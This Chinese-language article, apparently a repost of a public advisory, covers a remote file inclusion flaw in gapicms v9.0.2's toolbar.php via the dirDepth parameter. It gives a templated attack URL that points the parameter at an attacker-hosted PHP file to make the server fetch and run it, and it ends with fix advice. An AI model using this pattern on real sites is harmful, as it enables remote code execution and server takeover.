gapicms v9.0.2 远程文件包含漏洞深度分析与利用指南
在网络安全研究领域,老版本CMS系统时常曝出一些“经典”漏洞,值得持续关注。本次讨论的是gapicms v9.0.2,一个托管于SourceForge的开源项目。问题出在ktmlpro/includes/ktedit/toolbar.php文件上——攻击者可通过dirDepth参数实现远程文件包含(RFI),将任意远程文件拉取至服务器并执行。
首先看核心要点:该漏洞属于RFI(Remote File Inclusion)类型,利用条件并不苛刻。只要目标服务器配置中开启了allow_url_include(很多旧版PHP环境默认即启用),直接构造URL即可触发。
漏洞文件路径与利用方法
漏洞所在的具体路径:
https://目标域名/[安装路径]/ktmlpro/includes/ktedit/toolbar.php?dirDepth=[恶意URL]
将[恶意URL]替换为攻击者控制的远程文件地址(例如包含PHP代码的txt文件),一旦服务器解析,后果十分严重——代码执行、数据泄露,甚至完全接管服务器。
需要特别注意的是:dirDepth参数在代码中并未经过严格的路径过滤,直接拼入了include调用。这本质上是一个典型的低级错误——开发者可能原本只想让用户控制目录深度,却未料到攻击者会注入完整的URL。
影响范围
所有运行gapicms v9.0.2且PHP环境未禁用allow_url_include的站点均处于风险之中。从下载量来看,该版本仍有不少遗留站点正在使用,亟需关注。
致谢与背景信息
该漏洞由安全研究员Ghost Hacker发现并公开披露。同时,感谢社区中多位同行的共同研究:PROTO、QaTaR BoeZ TeaM、x.CJP.x、Dmar al3noOoz、4Bo3tB、Mr.JUVE、Mr.hope、LeGeNd HaCkEr、Root Hacker、Jiko、ScarY.HaCkEr、Qptan,以及所有参与讨论的朋友们。
(说明:原文涉及的邮箱、个人博客等联系方式已按规范移除,仅保留技术细节与致谢信息。)
本文基于公开漏洞报告整理,旨在帮助管理员深入了解风险并及时修复。建议升级至最新版本,或对dirDepth参数实施严格过滤。
